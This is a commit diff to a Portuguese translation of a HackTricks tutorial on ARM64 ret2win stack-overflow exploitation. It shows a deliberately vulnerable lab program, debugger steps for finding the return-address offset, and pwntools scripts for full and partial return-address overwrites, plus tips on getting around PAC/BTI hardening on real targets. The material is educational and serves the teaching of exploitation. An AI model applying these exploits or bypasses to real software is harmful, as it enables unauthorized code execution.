mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6
This commit is contained in:
parent
953ae5d143
commit
ce88affd7f
@ -4,6 +4,7 @@
|
||||
|
||||
Encontre uma introdução ao arm64 em:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
@ -27,17 +28,29 @@ vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compile sem pie e canário:
|
||||
Compilar sem pie e canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
|
||||
```
|
||||
- A flag extra `-mbranch-protection=none` desativa o AArch64 Branch Protection (PAC/BTI). Se sua toolchain por padrão habilita PAC ou BTI, isso mantém o lab reproduzível. Para verificar se um binário compilado usa PAC/BTI você pode:
|
||||
- Procure por AArch64 GNU properties:
|
||||
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
|
||||
- Inspecione prólogos/epílogos por `paciasp`/`autiasp` (PAC) ou por landing pads `bti c` (BTI):
|
||||
- `objdump -d ret2win | head -n 40`
|
||||
|
||||
### Fatos rápidos sobre a convenção de chamada AArch64
|
||||
|
||||
- O registrador de link é `x30` (a.k.a. `lr`), e funções tipicamente salvam `x29`/`x30` com `stp x29, x30, [sp, #-16]!` e os restauram com `ldp x29, x30, [sp], #16; ret`.
|
||||
- Isso significa que o endereço de retorno salvo vive em `sp+8` relativo à base do frame. Com um `char buffer[64]` colocado abaixo, a distância usual para sobrescrever o `x30` salvo é 64 (buffer) + 8 (x29 salvo) = 72 bytes — exatamente o que veremos abaixo.
|
||||
- O stack pointer deve permanecer alinhado a 16 bytes nas fronteiras de função. Se você construir ROP chains mais tarde para cenários mais complexos, mantenha o alinhamento do SP ou pode travar nos epílogos das funções.
|
||||
|
||||
## Encontrando o offset
|
||||
|
||||
### Opção de padrão
|
||||
### Opção pattern
|
||||
|
||||
Este exemplo foi criado usando [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Inicie o gdb com gef, crie um padrão e use-o:
|
||||
Inicie o gdb com gef, crie um pattern e use-o:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
@ -45,17 +58,17 @@ run
|
||||
```
|
||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 tentará retornar ao endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o deslocamento do padrão:
|
||||
arm64 tentará retornar para o endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o offset do padrão:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**O deslocamento é 72 (9x48).**
|
||||
**The offset is 72 (9x48).**
|
||||
|
||||
### Opção de deslocamento da pilha
|
||||
### Opção de Stack offset
|
||||
|
||||
Comece obtendo o endereço da pilha onde o registrador pc está armazenado:
|
||||
Comece obtendo o endereço da stack onde o registrador pc está armazenado:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
@ -64,14 +77,14 @@ info frame
|
||||
```
|
||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Agora defina um ponto de interrupção após o `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337:
|
||||
Agora defina um breakpoint depois do `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre onde esse padrão está armazenado na memória:
|
||||
Encontre onde esse padrão é armazenado na memória:
|
||||
|
||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -96,6 +109,8 @@ from pwn import *
|
||||
# Configuration
|
||||
binary_name = './ret2win'
|
||||
p = process(binary_name)
|
||||
# Optional but nice for AArch64
|
||||
context.arch = 'aarch64'
|
||||
|
||||
# Prepare the payload
|
||||
offset = 72
|
||||
@ -113,7 +128,7 @@ p.close()
|
||||
|
||||
### Off-by-1
|
||||
|
||||
Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na pilha. Em vez de sobrescrever todo o endereço de retorno, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`.
|
||||
Na verdade, isto vai ser mais como um off-by-2 no PC armazenado na stack. Em vez de sobrescrever todo o return address, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -135,7 +150,7 @@ p.close()
|
||||
```
|
||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um verdadeiro off-by-**one** em uma vulnerabilidade fictícia.
|
||||
Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um off-by-**one** real em uma vulnerabilidade fictícia.
|
||||
|
||||
## Com PIE
|
||||
|
||||
@ -144,7 +159,7 @@ Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/a
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
|
||||
Sem um leak não sabemos o endereço exato da win function, mas podemos conhecer o offset da função dentro do binário e, sabendo que o return address que estamos sobrescrevendo já aponta para um endereço próximo, é possível obter o leak do offset para a win function (**0x7d4**) neste caso e simplesmente usar esse offset:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
@ -166,4 +181,45 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
### Notas sobre hardening moderno AArch64 (PAC/BTI) e ret2win
|
||||
|
||||
- Se o binário for compilado com AArch64 Branch Protection, você pode ver `paciasp`/`autiasp` ou `bti c` emitidos em prólogos/epílogos de função. Nesse caso:
|
||||
- Retornar para um endereço que não seja um BTI landing pad válido pode provocar um `SIGILL`. Prefira direcionar para a entrada exata da função que contém `bti c`.
|
||||
- If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates `x30`. For learning scenarios, rebuild with `-mbranch-protection=none` (shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes an `autiasp`/`ret` pair that authenticates your forged LR.
|
||||
- Para verificar os recursos rapidamente:
|
||||
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
|
||||
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
|
||||
|
||||
### Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
|
||||
If you are on x86_64 but want to practice AArch64:
|
||||
```bash
|
||||
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
|
||||
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
|
||||
|
||||
# Run the binary with the AArch64 loader environment
|
||||
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
|
||||
|
||||
# Debug with GDB (qemu-user gdbstub)
|
||||
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
|
||||
# In another terminal
|
||||
gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||
```
|
||||
### Páginas relacionadas do HackTricks
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referências
|
||||
|
||||
- Habilitando PAC e BTI no AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
|
||||
- Padrão de Chamada de Procedimento para a Arquitetura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user